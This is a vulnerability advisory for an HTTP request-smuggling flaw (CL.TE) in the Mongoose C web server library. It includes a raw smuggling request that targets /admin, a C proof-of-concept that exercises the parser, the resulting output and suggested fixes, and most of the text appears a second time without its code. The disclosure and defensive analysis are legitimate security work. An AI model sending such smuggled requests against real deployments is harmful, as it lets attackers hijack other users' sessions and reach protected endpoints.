Summary
Mongoose accepts HTTP requests containing both Content-Length and Transfer-Encoding headers simultaneously. RFC 7230 §3.3.3 explicitly states such messages "might indicate an attempt to perform request smuggling and ought to be handled as an error." While Mongoose correctly rejects duplicate Content-Length headers and duplicate Transfer-Encoding headers, the combination of both is accepted. Mongoose prioritizes Transfer-Encoding: chunked over Content-Length, but a CL-preferring proxy in front of Mongoose would use Content-Length, creating a CL.TE request smuggling desync.
Severity
- CVSS 3.1: 9.1 (Critical) —
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
- CWE: CWE-444 (Inconsistent Interpretation of HTTP Requests — "HTTP Request Smuggling")
Affected Version
- Package: https://github.com/cesanta/mongoose
- Version: 7.21 (latest main, confirmed April 2026)
- File:
mongoose.c
- Function:
mg_http_parse() (line 2053) and http_cb() (line 2783)
- Lines: 1989–1994 (header dedup), 2053 (CL parsing), 2783–2786 (TE processing)
Vulnerability Details
Root Cause
The header parser at lines 1989–1994 rejects duplicate headers within the same class:
if (((mg_strcasecmp(k, mg_str("Content-Length")) == 0) && (++cl_count > 1)) ||
((mg_strcasecmp(k, mg_str("Transfer-Encoding")) == 0) && (++te_count > 1)) ||
...)
return false;
This prevents CL, CL and TE, TE duplicates. However, it does NOT check whether BOTH Content-Length AND Transfer-Encoding are present in the same request.
The request processing flow:
mg_http_parse() (line 2053): Parses Content-Length, sets hm.body.len.
http_cb() (line 2783): Checks for Transfer-Encoding: chunked, sets is_chunked = true.
- Chunked processing overrides the Content-Length body length.
Since Mongoose uses TE and ignores CL when both are present, a CL-preferring proxy sees a different request boundary.
CL.TE Smuggling Attack
POST / HTTP/1.1\r\n
Host: target\r\n
Content-Length: 0\r\n
Transfer-Encoding: chunked\r\n
\r\n
5\r\n
AAAAA\r\n
0\r\n
\r\n
GET /admin HTTP/1.1\r\n
Host: target\r\n
\r\n
- CL-preferring proxy: Sees
Content-Length: 0. Body is empty. The chunked data and smuggled GET /admin are forwarded as a separate pipelined request — but the proxy attributes them to the next legitimate client's connection.
- Mongoose: Sees
Transfer-Encoding: chunked. Reads the 5-byte chunk, then the 0-terminator. Then processes GET /admin as a new pipelined request.
- Result: The smuggled
GET /admin is processed by Mongoose but attributed by the proxy to a different client.
Proof of Concept
// CL+TE coexistence smuggling in Mongoose v7.21
// Build: gcc -DMG_ENABLE_LINES -I<mongoose_src> poc.c -o poc
#include "mongoose.c"
#include <stdio.h>
static void test_parse(const char *label, const char *req) {
struct mg_http_message hm;
int n = mg_http_parse(req, strlen(req), &hm);
printf(" %-45s parse=%d", label, n);
if (n > 0) {
struct mg_str *cl = mg_http_get_header(&hm, "Content-Length");
struct mg_str *te = mg_http_get_header(&hm, "Transfer-Encoding");
printf(" CL=%s TE=%s body.len=%zu",
cl ? "yes" : "no", te ? "yes" : "no", hm.body.len);
}
printf("\n");
}
int main(void) {
printf("Mongoose v%s CL+TE coexistence PoC\n\n", MG_VERSION);
printf("=== Duplicate header rejection (working correctly) ===\n");
test_parse("Duplicate Content-Length",
"POST / HTTP/1.1\r\nHost: t\r\n"
"Content-Length: 5\r\nContent-Length: 10\r\n\r\n");
test_parse("Duplicate Transfer-Encoding",
"POST / HTTP/1.1\r\nHost: t\r\n"
"Transfer-Encoding: chunked\r\nTransfer-Encoding: identity\r\n\r\n");
printf("\n=== CL + TE together (should be rejected per RFC 7230) ===\n");
test_parse("Content-Length + Transfer-Encoding",
"POST / HTTP/1.1\r\nHost: t\r\n"
"Content-Length: 5\r\nTransfer-Encoding: chunked\r\n\r\n");
test_parse("Transfer-Encoding + Content-Length",
"POST / HTTP/1.1\r\nHost: t\r\n"
"Transfer-Encoding: chunked\r\nContent-Length: 5\r\n\r\n");
printf("\n=== CL.TE smuggling payload ===\n");
const char *payload =
"POST / HTTP/1.1\r\n"
"Host: target\r\n"
"Content-Length: 0\r\n"
"Transfer-Encoding: chunked\r\n"
"\r\n"
"5\r\n"
"AAAAA\r\n"
"0\r\n"
"\r\n";
struct mg_http_message hm;
int n = mg_http_parse(payload, strlen(payload), &hm);
struct mg_str *cl = mg_http_get_header(&hm, "Content-Length");
struct mg_str *te = mg_http_get_header(&hm, "Transfer-Encoding");
printf(" Parsed: %d bytes\n", n);
printf(" CL value: '%.*s'\n", cl ? (int)cl->len : 0, cl ? cl->buf : "");
printf(" TE value: '%.*s'\n", te ? (int)te->len : 0, te ? te->buf : "");
printf(" body.len (from CL): %zu\n", hm.body.len);
printf(" BUG: Both headers accepted. Mongoose uses TE, proxy may use CL.\n");
return 0;
}
Steps to Reproduce
gcc -DMG_ENABLE_LINES -I<mongoose_src> poc.c -o poc
./poc
Expected (correct) Output
parse=-1 (rejected — CL+TE indicates smuggling attempt)
Actual Output (vulnerable)
=== CL + TE together (should be rejected per RFC 7230) ===
Content-Length + Transfer-Encoding parse=75 CL=yes TE=yes body.len=5
Transfer-Encoding + Content-Length parse=75 CL=yes TE=yes body.len=5
=== CL.TE smuggling payload ===
Parsed: 80 bytes
CL value: '0'
TE value: 'chunked'
body.len (from CL): 0
BUG: Both headers accepted. Mongoose uses TE, proxy may use CL.
Output Analysis
| Headers |
Mongoose |
CL-proxy |
Desync? |
| CL only |
Uses CL |
Uses CL |
No |
| TE only |
Uses TE |
Uses TE |
No |
| CL + TE |
Uses TE |
Uses CL |
Yes |
| CL + CL |
Rejected |
N/A |
No |
| TE + TE |
Rejected |
N/A |
No |
Impact
- Confidentiality: High — smuggled requests access resources intended for other sessions.
- Integrity: High — smuggled requests can modify state on behalf of other users.
- Availability: None.
- Attack vector: Network. Requires Mongoose behind a CL-preferring reverse proxy. This is the most common and well-documented class of HTTP request smuggling (CL.TE variant).
Suggested Fix
Reject requests containing both Content-Length and Transfer-Encoding in the header parser:
// In mg_http_parse_headers(), after the duplicate check block,
// reject CL + TE combination:
if (cl_count > 0 && te_count > 0) return false;
Or in http_cb(), before processing TE:
if (mg_http_get_header(&hm, "Content-Length") != NULL &&
mg_http_get_header(&hm, "Transfer-Encoding") != NULL) {
mg_error(c, "Both Content-Length and Transfer-Encoding present");
return;
}
Patched In
Fixed in the 2026-06-23 Mongoose release (SBOM 7.21_1ddf6c2cbd_5ab08203 or later).
References
Summary
Mongoose accepts HTTP requests containing both
Content-LengthandTransfer-Encodingheaders simultaneously. RFC 7230 §3.3.3 explicitly states such messages "might indicate an attempt to perform request smuggling and ought to be handled as an error." While Mongoose correctly rejects duplicateContent-Lengthheaders and duplicateTransfer-Encodingheaders, the combination of both is accepted. Mongoose prioritizesTransfer-Encoding: chunkedoverContent-Length, but a CL-preferring proxy in front of Mongoose would useContent-Length, creating a CL.TE request smuggling desync.Severity
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:NAffected Version
mongoose.cmg_http_parse()(line 2053) andhttp_cb()(line 2783)Vulnerability Details
Root Cause
The header parser at lines 1989–1994 rejects duplicate headers within the same class:
This prevents
CL, CLandTE, TEduplicates. However, it does NOT check whether BOTHContent-LengthANDTransfer-Encodingare present in the same request.The request processing flow:
mg_http_parse()(line 2053): ParsesContent-Length, setshm.body.len.http_cb()(line 2783): Checks forTransfer-Encoding: chunked, setsis_chunked = true.Since Mongoose uses TE and ignores CL when both are present, a CL-preferring proxy sees a different request boundary.
CL.TE Smuggling Attack
Content-Length: 0. Body is empty. The chunked data and smuggledGET /adminare forwarded as a separate pipelined request — but the proxy attributes them to the next legitimate client's connection.Transfer-Encoding: chunked. Reads the 5-byte chunk, then the 0-terminator. Then processesGET /adminas a new pipelined request.GET /adminis processed by Mongoose but attributed by the proxy to a different client.Proof of Concept
Steps to Reproduce
Expected (correct) Output
Actual Output (vulnerable)
Output Analysis
Impact
Suggested Fix
Reject requests containing both
Content-LengthandTransfer-Encodingin the header parser:Or in
http_cb(), before processing TE:Patched In
Fixed in the 2026-06-23 Mongoose release (SBOM
7.21_1ddf6c2cbd_5ab08203or later).References